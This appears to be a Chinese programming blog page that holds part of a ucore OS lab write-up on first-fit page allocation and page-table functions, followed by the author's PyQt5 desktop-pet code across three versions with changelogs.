list_del(&(page->page_link)); /* 脱链操作 */
if (page->property > n) { /* 检查是否有剩余 */
struct Page *p = page + n; /* 指向剩下的空闲页 */
p->property = page->property - n; /* 更新base page->property */
list_add(&free_list, &(p->page_link)); /* 重新链回链表 */
}
nr_free -= n; /* 更新空闲页的数目 */
ClearPageProperty(page); /* 将分配出去的内存页标记为非空闲 */
}
return page; /* 返回目标页 */
}
  • 首先检查空闲页的总数目和所需数目的关系
  • 然后采用 first-fit 算法来获取合适空闲页
  • 最后检查该空闲块是否剩余,如果剩余直接插到链表头部

default_free_pages:释放目标n个内存页

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static void
default_free_pages(struct Page *base, size_t n) {
/* base:基地址,n:表示要初始化n个页 */
assert(n > 0);
struct Page *p = base;
for (; p != base + n; p ++) { /* 把将要被释放的内存页的各个字段置空 */
assert(!PageReserved(p) && !PageProperty(p));
p->flags = 0;
set_page_ref(p, 0);
}
base->property = n; /* 更新base page->property */
SetPageProperty(base); /* 设置当前页为空闲 */
list_entry_t *le = list_next(&free_list); /* 初始化le为链表头部 */
while (le != &free_list) { /* 遍历整个链表,找寻是否有相邻的空闲页 */
p = le2page(le, page_link); /* 根据链表信息获取该page的位置 */
le = list_next(le);
if (base + base->property == p) { /* 在base的高地址处有相邻的空闲页 */
base->property += p->property; /* 合并空闲页,更新base page->property */
ClearPageProperty(p); /* 将被合并的空闲页标记为不可用 */
list_del(&(p->page_link)); /* 脱链 */
}
else if (p + p->property == base) { /* 在base的低地址处有相邻的空闲页 */
p->property += base->property;
ClearPageProperty(base);
base = p; /* 更新base */
list_del(&(p->page_link));
}
}
nr_free += n; /* 更新空闲页数目 */
list_add(&free_list, &(base->page_link)); /* 插入链表头 */
}
  • 先把将要被释放的内存页的各个字段置空
  • 然后遍历整个链表,合并相邻的空闲页
  • 最后更新空闲页数目,并且把合并后的空闲页插入到链表的头部

修改 ucore 的代码:

  • 问题的关键就在于“剩余空闲页插入链表头”这一过程
  • first-fit 算法要求将空闲内存块按照地址从小到大的方式连起来,那么“插入链表头”的操作想必会影响链表的物理地址次序
  • 所以在 default_alloc_pages 和 default_free_pages 中关于“插入链表头”的操作都要修改

default_alloc_pages:(修改后)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static struct Page *
default_alloc_pages(size_t n) {
assert(n > 0);
if (n > nr_free) {
return NULL;
}
struct Page *page = NULL;
list_entry_t *le = &free_list;
while ((le = list_next(le)) != &free_list) {
struct Page *p = le2page(le, page_link);
if (p->property >= n) {
page = p;
break;
}
}
if (page != NULL) {
if (page->property > n) {
struct Page *p = page + n;
p->property = page->property - n;
list_add(&(page->page_link), &(p->page_link));
}
list_del(&(page->page_link)); /* 注意:这里修改了脱链的位置 */
nr_free -= n;
ClearPageProperty(page);
}
return page;
}

default_free_pages:(部分&修改后)

1
2
3
4
5
6
7
8
9
for(le = list_next(&free_list); le != &free_list; le = list_next(le))
{
p = le2page(le, page_link);
if (base + base->property <= p) {
assert(base + base->property != p);
break;
}
}
list_add_before(le, &(base->page_link));

练习2- 实现寻找虚拟地址对应的页表项

通过设置页表和对应的页表项,可建立虚拟内存地址和物理内存地址的对应关系

get_pte 函数是设置页表项环节中的一个重要步骤,此函数找到一个虚地址对应的二级页表项的内核虚拟地址,如果此二级页表项不存在,则分配一个包含此项的二级页表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
pte_t * /* 获取pte(页表项,页表) */
get_pte(pde_t *pgdir, uintptr_t la, bool create) {
// pgdir:进程自己页表的虚拟地址,将在进程创建页表时为其赋值
// la:线性地址,虚拟地址
// create:信息标记位,根据create位判断是否创建这个二级页表

#if 0
pde_t *pdep = NULL;
if (0) {
uintptr_t pa = 0;
}
return NULL;
#endif
}

要求:

  • 查找页面目录条目
  • 检查输入是否不存在
  • 检查是否需要创建,然后为页表分配页
  • 设置页面参考
  • 获取页面的线性地址
  • 使用 memset 清除页面内容
  • 设置页面目录项的权限
  • 返回页表项

接下来就要完善这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pte_t * /* 获取pte(页表项,页表) */
get_pte(pde_t *pgdir, uintptr_t la, bool create) {
// pgdir:进程自己页表的虚拟地址,将在进程创建页表时为其赋值
// la:线性地址,虚拟地址
// create:信息标记位,根据create位判断是否创建这个二级页表

#if 0
pde_t *pdep = NULL;
if (0) {
uintptr_t pa = 0;
}
return NULL;
#endif
pde_t *pdep = &pgdir[PDX(la)];
/* 根据la(线性地址,虚拟地址)利用PDX获取对应"页目录项PDE的索引" */
/* 放入pgdir(进程自己一级页表的虚拟地址)中,索引出对应"页目录项PDE的物理地址" */

if (!(*pdep & PTE_P)) { /* 如果这个物理内存页pdep不存在 */
struct Page *page;
if (!create || (page = alloc_page()) == NULL) {
/* 检查是否需要创建 || 检查alloc_page()是否分配成功 */
return NULL;
}
set_page_ref(page, 1); // 要查找该页表,则引用次数+1
uintptr_t pa = page2pa(page); // 得到该页的物理地址
memset(KADDR(pa), 0, PGSIZE); // 利用KADDR转成虚拟地址,并初始化
*pdep = pa | PTE_U | PTE_W | PTE_P; // 设置页面目录项的权限(存在,可读,可写)
}
return &((pte_t *)KADDR(PDE_ADDR(*pdep)))[PTX(la)];
// 用KADDR返回二级页表所对应的虚拟地址
}

练习3-释放某虚地址所在的物理页并取消对应的二级页表项映射

当释放一个包含某虚地址的物理内存页时,需要让对应此物理内存页的管理数据结构 Page 做相关的清除处理,使得此物理内存页成为空闲,另外还需把表示虚地址与物理地址对应关系的二级页表项清除

我们的任务就是补全一下这个函数:

1
2
3
4
5
6
7
8
static inline void
page_remove_pte(pde_t *pgdir, uintptr_t la, pte_t *ptep) {
#if 0
if (0) {
struct Page *page = NULL;
}
#endif
}

要求:

  • 检查此页表条目是否存在
  • 找到与 pte 对应的页面
  • 减少页面引用
  • 并在页面引用达到0时释放此页面
  • 清除第二页表格条目
  • 齐平 tlb

接下来就完善这个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#define free_page(page) free_pages(page, 1)

void
free_pages(struct Page *base, size_t n) {
bool intr_flag;
local_intr_save(intr_flag);
{
pmm_manager->free_pages(base, n);
}
local_intr_restore(intr_flag);
}

static inline int
page_ref_dec(struct Page *page) {
page->ref -= 1; /* page->ref:当前页被引用的次数,与内存共享有关 */
return page->ref;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
static inline void
page_remove_pte(pde_t *pgdir, uintptr_t la, pte_t *ptep) {
// pgdir:进程自己页表的虚拟地址,将在进程创建页表时为其赋值
// la:线性地址,虚拟地址
// ptep:将要被释放的页表条目(二级页表)

#if 0
if (0) {
struct Page *page = NULL;
}
#endif
if (*ptep & PTE_P) { /* 检查此页表条目是否存在 */
struct Page *page = pte2page(*ptep); /* 获取该页表条目所对应的物理地址 */
if (page_ref_dec(page) == 0) { /* 确保该物理页没有被共享 */
free_page(page); /* 释放当前物理页 */
}
*ptep = 0; /* 置空该页表条目 */
tlb_invalidate(pgdir, la); /* 刷新TLB内的数据 */
}
}

最终结果:

1
2
3
4
5
6
➜  lab2 make grade
Check PMM: (2.2s)
-check pmm: OK
-check page table: OK
-check ticks: OK
Total Score: 50/50

桌宠开发

最近在学习 Python 一直想搞一个项目

爬虫之后我又盯上桌宠了(主要是想把爬虫搭载到桌宠上),经典不务正业

DesktopPets_v1.0

第一个桌宠是在网上抄的,主要是为了熟悉 PyQt5 的使用

这个桌宠的功能很弱,之后的版本都会在它的基础上进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import os
import sys
import random
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from PyQt5 import QtWidgets, QtGui

'''配置信息'''
class Config():
ROOT_DIR = os.path.join(os.path.split(os.path.abspath(__file__))[0], 'resources') # 获取图片的路径
print(ROOT_DIR)
ACTION_DISTRIBUTION = [
['1', '2', '3'], # 行走
['4', '5', '6', '7', '8', '9', '10', '11'], # 坠落&拖动
['12', '13', '14'], # 爬
['15', '16', '17'], # 攻击1
['18', '19'], # 摔倒
['20', '21'], # 睡觉
['22'], # 飞
['23', '24', '25'], # 举手
['26', '27', '28', '29'], # 攻击2
['30', '31', '32', '33'], # 坐2
['34', '35', '36', '37'], # 攻击3
['42', '43', '44', '45', '46'] # 杂项
]
PET_ACTIONS_MAP = {'pet_1': ACTION_DISTRIBUTION}
for i in range(2, 5): PET_ACTIONS_MAP.update({'pet_%s' % i: ACTION_DISTRIBUTION})

'''桌面宠物'''
class DesktopPet(QWidget):
tool_name = '桌面宠物'
def __init__(self, parent=None, **kwargs):
super(DesktopPet, self).__init__(parent)
self.cfg = Config()
for key, value in kwargs.items():
if hasattr(self.cfg, key): setattr(self.cfg, key, value)
# 初始化
self.setWindowFlags(Qt.FramelessWindowHint|Qt.WindowStaysOnTopHint|Qt.SubWindow)
self.setAutoFillBackground(False)
self.setAttribute(Qt.WA_TranslucentBackground, True)
self.repaint()
# 随机导入一个宠物
self.pet_images, iconpath = self.randomLoadPetImages()
# 设置退出选项
quit_action = QAction('退出', self, triggered=self.quit)
quit_action.setIcon(QIcon(iconpath))
self.tray_icon_menu = QMenu(self)
self.tray_icon_menu.addAction(quit_action)
self.tray_icon = QSystemTrayIcon(self)
self.tray_icon.setIcon(QIcon(iconpath))
self.tray_icon.setContextMenu(self.tray_icon_menu)
self.tray_icon.show()
# 当前显示的图片
self.image = QLabel(self)
self.setImage(self.pet_images[0][0])
# 是否跟随鼠标
self.is_follow_mouse = False
# 宠物拖拽时避免鼠标直接跳到左上角
self.mouse_drag_pos = self.pos()
# 显示
self.resize(236, 260)
self.randomPosition()
self.show()
# 宠物动画动作执行所需的一些变量
self.is_running_action = False
self.action_images = []
self.action_pointer = 0
self.action_max_len = 0
# 每隔一段时间做个动作
self.timer = QTimer()
self.timer.timeout.connect(self.randomAct)
self.timer.start(500)
'''随机做一个动作'''
def randomAct(self):
if not self.is_running_action:
self.is_running_action = True
self.action_images = random.choice(self.pet_images)
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.runFrame()
'''完成动作的每一帧'''
def runFrame(self):
if self.action_pointer == self.action_max_len:
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
self.setImage(self.action_images[self.action_pointer])
self.action_pointer += 1
'''设置当前显示的图片'''
def setImage(self, image):
self.image.setPixmap(QPixmap.fromImage(image))
'''随机导入一个桌面宠物的所有图片'''
def randomLoadPetImages(self):
cfg = self.cfg
pet_name = random.choice(list(cfg.PET_ACTIONS_MAP.keys()))
actions = cfg.PET_ACTIONS_MAP[pet_name]
pet_images = []
for action in actions:
pet_images.append([self.loadImage(os.path.join(cfg.ROOT_DIR, pet_name, 'shime'+item+'.png')) for item in action])
iconpath = os.path.join(cfg.ROOT_DIR, pet_name, 'shime1.png')
return pet_images, iconpath
'''鼠标左键按下时, 宠物将和鼠标位置绑定'''
def mousePressEvent(self, event):
if event.button() == Qt.LeftButton:
self.is_follow_mouse = True
self.mouse_drag_pos = event.globalPos() - self.pos()
event.accept()
self.setCursor(QCursor(Qt.OpenHandCursor))
'''鼠标移动, 则宠物也移动'''
def mouseMoveEvent(self, event):
if Qt.LeftButton and self.is_follow_mouse:
self.move(event.globalPos() - self.mouse_drag_pos)
event.accept()
'''鼠标释放时, 取消绑定'''
def mouseReleaseEvent(self, event):
self.is_follow_mouse = False
self.setCursor(QCursor(Qt.ArrowCursor))
'''导入图像'''
def loadImage(self, imagepath):
image = QImage()
image.load(imagepath)
return image
'''随机到一个屏幕上的某个位置'''
def randomPosition(self):
screen_geo = QDesktopWidget().screenGeometry()
pet_geo = self.geometry()
width = (screen_geo.width() - pet_geo.width()) * random.random()
height = (screen_geo.height() - pet_geo.height()) * random.random()
self.move(int(width), int(height))
'''退出程序'''
def quit(self):
self.close()
sys.exit()

if __name__=="__main__":
app = QApplication(sys.argv)
pets = DesktopPet()
pets.show()
sys.exit(app.exec_())

更新日志:

  • version:v1.0
  • date:2022.3.31
  • type:
    • Features:NULL
    • Changed:NULL
    • Removed:NULL
  • desc:
    • 第一代版本,功能很弱,急需解决的问题有:
      • 动作不连贯
      • 角色不会移动
      • 角色只能面向单一方向
      • 缺少互动性
      • 缺少“重力系统”
      • 缺少右键菜单选项
      • 缺少对话功能

DesktopPets_v1.1

在 DesktopPets_v1.0 的基础上进行了面积升级

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
import os
import sys
import random
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from PyQt5 import QtWidgets, QtGui
import time

'''配置信息'''
class Config():
ROOT_DIR = os.path.join(os.path.split(os.path.abspath(__file__))[0], 'resources')
print(ROOT_DIR)
ACTION_DISTRIBUTION = [
['x'], # 吃撇_0
['1','1a','1b','1c','1d','1','1a','1b','1c','1d'], # 眨眼_1
['1','2','3','2','3','2','3','2','3','2','3','2','3','2','3','2','3''2','3','2','3''2','3','2','3','1','1a','1b'], # 行走_2
['4', '5', '6', '7', '8', '9', '10'], # 坠落&拖动1_3
['11','11a','11b','11c','11d','11e','11f','11g','11f','11g','11f','11g','11f','11g','11f','11g','11e','11d','11c','11b','11a','11'], # 打哈切_4
['12', '13', '14'], # 爬_5
['18', '19'], # 摔倒_6
['20', '21'], # 睡觉_7
['22', '22a'], # 飞_8
['23','23a','23','23a','23b','24','25','26','27','28','29','34','35','36','37','34','35','36','37'], # 举手_9
['15', '16','17','26','27','28','29','15','34','17','26','27','28','1','1a','1b'], # 攻击_10
['30', '30','30','30','30','30a','30b','30b','30b','30c','30c','30a','30b','30b','30b','30c','30c','31','32','33'], # 打喷嚏_11
['42', '43', '44', '45', '46'], # 杂项_12
]
PET_ACTIONS_MAP = {'pet_1': ACTION_DISTRIBUTION}
for i in range(1): PET_ACTIONS_MAP.update({'pet_%s' % i: ACTION_DISTRIBUTION})

'''桌面宠物'''
class DesktopPet(QWidget):
tool_name = '桌面宠物'
stat = [1,2,4,9,10,11]
def __init__(self, parent=None, **kwargs):
super(DesktopPet, self).__init__(parent)
self.cfg = Config()
for key, value in kwargs.items():
if hasattr(self.cfg, key): setattr(self.cfg, key, value)
# 初始化
self.setWindowFlags(Qt.FramelessWindowHint|Qt.WindowStaysOnTopHint|Qt.SubWindow)
self.setAutoFillBackground(False)
self.setAttribute(Qt.WA_TranslucentBackground, True)
self.repaint()
# 随机导入一个宠物
self.pet_images, iconpath = self.randomLoadPetImages()
# 设置退出选项
quit_action = QAction('退出', self, triggered=self.quit)
quit_action.setIcon(QIcon(iconpath))
self.tray_icon_menu = QMenu(self)
self.tray_icon_menu.addAction(quit_action)
self.tray_icon = QSystemTrayIcon(self)
self.tray_icon.setIcon(QIcon(iconpath))
self.tray_icon.setContextMenu(self.tray_icon_menu)
self.tray_icon.show()
# 当前显示的图片
self.image = QLabel(self)
self.setImage(self.pet_images[0][0])
# 是否跟随鼠标
self.is_follow_mouse = False
# 宠物拖拽时避免鼠标直接跳到左上角
self.mouse_drag_pos = self.pos()
# 显示
self.resize(236, 260)
self.randomPosition()
self.InitTimer()
self.show()
# 宠物动画动作执行所需的一些变量
self.is_running_action = False
self.action_images = []
self.action_pointer = 0
self.action_max_len = 0

'''初始化计时器'''
def InitTimer(self) -> None:
self.timer = QTimer()
self.timer.timeout.connect(self.randomAct)
self.timer.start(100)

'''随机做一个动作'''
def randomAct(self):
if not self.is_running_action:
self.is_running_action = True
self.key = random.randint(0,len(DesktopPet.stat)-1)
self.action = DesktopPet.stat[self.key]
print("action is:"+str(self.action))
self.action_images = self.pet_images[self.action]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.heading = random.randint(0, 1)
if self.action == 2:
if self.heading == 0:
print("now is Right")
elif self.heading == 1:
print("now is Left")
if self.action == 2:
self.moving(self.heading)
else:
self.runFrame(self.heading)

'''完成动作的每一帧'''
def runFrame(self,heading):
if self.action_pointer == self.action_max_len:
time.sleep(0.8)
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
if heading==1:
self.setImage(self.action_images[self.action_pointer].mirrored(heading, False))
self.action_pointer += 1
elif heading==0:
self.setImage(self.action_images[self.action_pointer])
self.action_pointer += 1

'''动作-移动'''
def moving(self,heading):
if self.action_pointer == self.action_max_len:
time.sleep(1.5)
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
else:
screenRect = QApplication.desktop().screenGeometry()
x = self.pos().x()
x += int(32 * (0.5 - heading))
if (heading == 1):
if ((x <= 0 and heading == 1) or (
x >= screenRect.width() - self.size().width() and heading == 1)):
self.RandomAction(hit_wall=True)
return None
else:
self.move(x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(0, False))
self.action_pointer += 1
elif (heading == 0):
if ((x <= 0 and heading == 1) or (
x >= screenRect.width() - self.size().width() and heading == 1)):
self.RandomAction(hit_wall=True)
return None
else:
self.move(x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(1, False))
self.action_pointer += 1

'''设置当前显示的图片'''
def setImage(self, image):
self.image.setPixmap(QPixmap.fromImage(image))
'''随机导入一个桌面宠物的所有图片'''
def randomLoadPetImages(self):
cfg = self.cfg
pet_name = random.choice(list(cfg.PET_ACTIONS_MAP.keys()))
actions = cfg.PET_ACTIONS_MAP[pet_name]
pet_images = []
self.flag = 0
for action in actions:
patch = [self.loadImage(os.path.join(cfg.ROOT_DIR, pet_name, 'shime'+item+'.png')) for item in action]
pet_images.append(patch)
iconpath = os.path.join(cfg.ROOT_DIR, pet_name, 'shimemove1.png')
return pet_images, iconpath
'''鼠标左键按下时, 宠物将和鼠标位置绑定'''
def mousePressEvent(self, event):
if event.button() == Qt.LeftButton:
self.is_follow_mouse = True
self.mouse_drag_pos = event.globalPos() - self.pos()
event.accept()
self.setCursor(QCursor(Qt.OpenHandCursor))
'''鼠标移动, 则宠物也移动'''
def mouseMoveEvent(self, event):
if Qt.LeftButton and self.is_follow_mouse:
self.move(event.globalPos() - self.mouse_drag_pos)
event.accept()
'''鼠标释放时, 取消绑定'''
def mouseReleaseEvent(self, event):
self.is_follow_mouse = False
self.setCursor(QCursor(Qt.ArrowCursor))
'''导入图像'''
def loadImage(self, imagepath):
image = QImage()
image.load(imagepath)
return image
'''随机到一个屏幕上的某个位置'''
def randomPosition(self):
screen_geo = QDesktopWidget().screenGeometry()
pet_geo = self.geometry()
width = (screen_geo.width() - pet_geo.width()) * random.random()
height = (screen_geo.height() - pet_geo.height()) * random.random()
self.move(int(width), int(height))
'''退出程序'''
def quit(self):
self.close()
sys.exit()

if __name__=="__main__":
app = QApplication(sys.argv)
pets = DesktopPet()
pets.show()
sys.exit(app.exec_())

更新日志:

  • version:v1.1
  • date:2022.4.12
  • type:
    • Features:
      • 大大提升了动作的流畅性
      • 在执行“move”动作时,角色会真正的进行移动
      • 角色现在可以改变面向的方向
    • Changed:
      • 对程序的部分逻辑进行了修改
      • 修复了多次点击不出图片的BUG
    • Removed:
      • 削减了一些多余的动作
  • desc:
    • 第二代版本,功能大大增强
    • 但还有一些BUG(当角色move到桌面外时,程序会强制关闭,目前不知道怎么解决)

DesktopPets_v1.2

第三代版本,功能较为完善了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
import os
import sys
import random
from PyQt5.QtGui import *
from PyQt5.QtCore import *
from PyQt5.QtWidgets import *
from PyQt5 import QtWidgets, QtGui
import time

'''配置信息'''
class Config():
ROOT_DIR = os.path.join(os.path.split(os.path.abspath(__file__))[0], 'resources')
print(ROOT_DIR)
ACTION_DISTRIBUTION = [
['x'], # 吃撇_0
['1','1a','1b','1c','1d','1','1a','1b','1c','1d'], # 眨眼_1
['1','2','3','2','3','2','3','2','3','2','3','2','3','2','3','2','3''2','3','2','3''2','3','2','3','1','1a','1b'], # 行走_2
['4', '5', '6', '7', '8', '9', '10'], # 拖动_3
['11','11a','11b','11c','11d','11e','11f','11g','11f','11g','11f','11g','11f','11g','11f','11g','11e','11d','11c','11b','11a','11'], # 打哈切_4
['12', '13', '14'], # 爬_5
['5','19','4','18','4','19','4','18','4','19','4','18','4','19','4','18','4','5','1','x','x','x','1','1a','1b','1c'], # 触地_6
['20', '21'], # 睡觉_7
['22', '22a'], # 飞_8
['23','23a','23','23a','23b','24','25','26','27','28','29','34','35','36','37','34','35','36','37'], # 举手_9
['15', '16','17','26','27','28','29','15','34','17','26','27','28','1','1a','1b'], # 攻击_10
['30', '30','30','30','30','30a','30b','30b','30b','30c','30c','30a','30b','30b','30b','30c','30c','31','32','33'], # 打喷嚏_11
['9','19','4','18','x','1b','1c','1d'], # 撞墙_12
]
PET_ACTIONS_MAP = {'pet_1': ACTION_DISTRIBUTION}
for i in range(0): PET_ACTIONS_MAP.update({'pet_%s' % i+1: ACTION_DISTRIBUTION})

'''桌面宠物'''
class DesktopPet(QWidget):
tool_name = '桌面宠物'
stat = [1,2,4,9,10,11]
def __init__(self, parent=None, **kwargs):
super(DesktopPet, self).__init__(parent)
self.cfg = Config()
for key, value in kwargs.items():
if hasattr(self.cfg, key): setattr(self.cfg, key, value)
self.setWindowFlags(Qt.FramelessWindowHint|Qt.WindowStaysOnTopHint|Qt.SubWindow)
self.setAutoFillBackground(False)
self.setAttribute(Qt.WA_TranslucentBackground, True)
self.repaint()
self.pet_images, iconpath = self.randomLoadPetImages()
quit_action = QAction('退出', self, triggered=self.quit)
quit_action.setIcon(QIcon(iconpath))
self.tray_icon_menu = QMenu(self)
self.tray_icon_menu.addAction(quit_action)
self.tray_icon = QSystemTrayIcon(self)
self.tray_icon.setIcon(QIcon(iconpath))
self.tray_icon.setContextMenu(self.tray_icon_menu)
self.tray_icon.show()
self.image = QLabel(self)
self.setImage(self.pet_images[0][0])
self.is_follow_mouse = False
self.mouse_drag_pos = self.pos()
self.resize(236, 260)
self.randomPosition()
self.InitTimer(self.randomAct,100)
self.show()
self.is_running_action = False
self.action_images = []
self.action_pointer = 0
self.action_max_len = 0

'''初始化计时器'''
def InitTimer(self,Act,start) -> None:
print("timer starting !!!")
self.timer = QTimer()
self.timer.timeout.connect(Act)
self.timer.start(start)

'''随机做一个动作'''
def randomAct(self):
if not self.is_running_action:
self.is_running_action = True
self.key = random.randint(0,len(DesktopPet.stat)-1)
self.action = DesktopPet.stat[self.key]
print("action is:"+str(self.action))
self.action_images = self.pet_images[self.action]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.heading = random.randint(0, 1)
if self.action == 2:
if self.heading == 0:
print("now is Right")
elif self.heading == 1:
print("now is Left")
if self.action == 2:
self.moving(self.heading)
else:
self.runFrame(self.heading)

'''完成动作的每一帧'''
def runFrame(self,heading):
if self.action_pointer == self.action_max_len:
time.sleep(0.5)
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
self.setImage(self.action_images[self.action_pointer].mirrored(heading, False))
self.action_pointer += 1

'''动作-移动'''
def moving(self,heading):
if self.action_pointer == self.action_max_len:
time.sleep(0.8)
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
else:
screenRect = QApplication.desktop().screenGeometry()
x = self.pos().x()
x += int(32 * (0.5 - heading))
if (heading == 1):
if ((x <= 0 and heading == 1) or (
x >= screenRect.width() - self.size().width() and heading == 0)):
print('now is hit wall')
x = self.pos().x()
x += int(32)
self.action_images = self.pet_images[12]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.hitwall(1,x)
self.heading = 0
else:
self.move(x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(0, False))
self.action_pointer += 1
elif (heading == 0):
if ((x <= 0 and heading == 1) or (
x >= screenRect.width() - self.size().width() and heading == 0)):
print('now is hit wall')
x = self.pos().x()
x += int(32)
self.action_images = self.pet_images[12]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.hitwall(0,x)
time.sleep(0.001)
self.heading = 1
else:
self.move(x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(1, False))
self.action_pointer += 1

'''动作-撞墙'''
def hitwall(self,heading,x):
if self.action_pointer == self.action_max_len:
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
self.move(x, self.pos().y())
self.setImage(self.action_images[self.action_pointer].mirrored(heading, False))
self.action_pointer += 1

'''动作-坠落'''
def fall(self):
if self.action_pointer == self.action_max_len:
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
else:
y = self.pos().y()
x = self.pos().x()
y += int(16)
screenRect = QApplication.desktop().screenGeometry()
if (y >= screenRect.height() - self.size().height()):
print('now is kiss the ground')
self.action_images = self.pet_images[6]
self.action_max_len = len(self.action_images)
self.action_pointer = 0
self.touchdown(x,y)
self.InitTimer(self.randomAct, 100)
else:
self.move(self.pos().x(), y)
self.setImage(self.pet_images[3][0].mirrored(self.heading, False))

'''动作-触地'''
def touchdown(self,x,y):
if self.action_pointer == self.action_max_len:
self.is_running_action = False
self.action_pointer = 0
self.action_max_len = 0
else:
x -= int(32)
y -= int(48)
self.move(x, y)
self.setImage(self.action_images[self.action_pointer].mirrored(self.heading, False))
self.action_pointer += 1

'''设置当前显示的图片'''
def setImage(self, image):
self.image.setPixmap(QPixmap.fromImage(image))

'''随机导入一个桌面宠物的所有图片'''
def randomLoadPetImages(self):
cfg = self.cfg
pet_name = random.choice(list(cfg.PET_ACTIONS_MAP.keys()))
actions = cfg.PET_ACTIONS_MAP[pet_name]
pet_images = []
self.flag = 0
for action in actions:
patch = [self.loadImage(os.path.join(cfg.ROOT_DIR, pet_name, 'shime'+item+'.png')) for item in action]
pet_images.append(patch)
iconpath = os.path.join(cfg.ROOT_DIR, pet_name, 'shimeX.png')
return pet_images, iconpath

'''鼠标左键按下时, 宠物将和鼠标位置绑定'''
def mousePressEvent(self, event):
if event.button() == Qt.LeftButton:
self.is_follow_mouse = True
self.mouse_drag_pos = event.globalPos() - self.pos()
event.accept()
self.setCursor(QCursor(Qt.OpenHandCursor))

'''鼠标移动, 则宠物也移动'''
def mouseMoveEvent(self, event):
if Qt.LeftButton and self.is_follow_mouse:
self.move(event.globalPos() - self.mouse_drag_pos)
event.accept()

'''鼠标释放时, 取消绑定'''
def mouseReleaseEvent(self, event):
self.is_follow_mouse = False
self.setCursor(QCursor(Qt.ArrowCursor))
self.fallingBody()

"""宠物自由落体"""
def fallingBody(self):
x = self.pos().x()
y = self.pos().y()
print("x=%x : y=%x" %(x,y))
self.InitTimer(self.fall,25)

'''导入图像'''
def loadImage(self, imagepath):
image = QImage()
image.load(imagepath)
return image

'''随机到一个屏幕上的某个位置'''
def randomPosition(self):
screen_geo = QDesktopWidget().screenGeometry()
pet_geo = self.geometry()
width = (screen_geo.width() - pet_geo.width()) * random.random()
height = (screen_geo.height() - pet_geo.height()) * random.random()
self.move(int(width), int(height))

'''退出程序'''
def quit(self):
self.close()
sys.exit()

if __name__=="__main__":
app = QApplication(sys.argv)
pets = DesktopPet()
pets.show()
sys.exit(app.exec_())

更新日志:

  • version:v1.2
  • date:2022.4.13
  • type:
    • Features:
      • 在角色触碰屏幕左右边界时,会触发“hitwall”动作,并且改变角色的移动方向
      • 新添“重力系统”,在“左键绑定”结束以后,会触发“fall”动作
      • 在角色触碰屏幕下边界时,会触发“touchdown”动作
    • Changed:
      • 对部分图片的顺序进行了修改
    • Removed:NULL
  • desc:
    • 目前有一个棘手的BUG:在任意拖拽角色时,有小概率导致“计时器InitTimer”失效
    • 接下来打算加入右键菜单选项,并添加更多动作

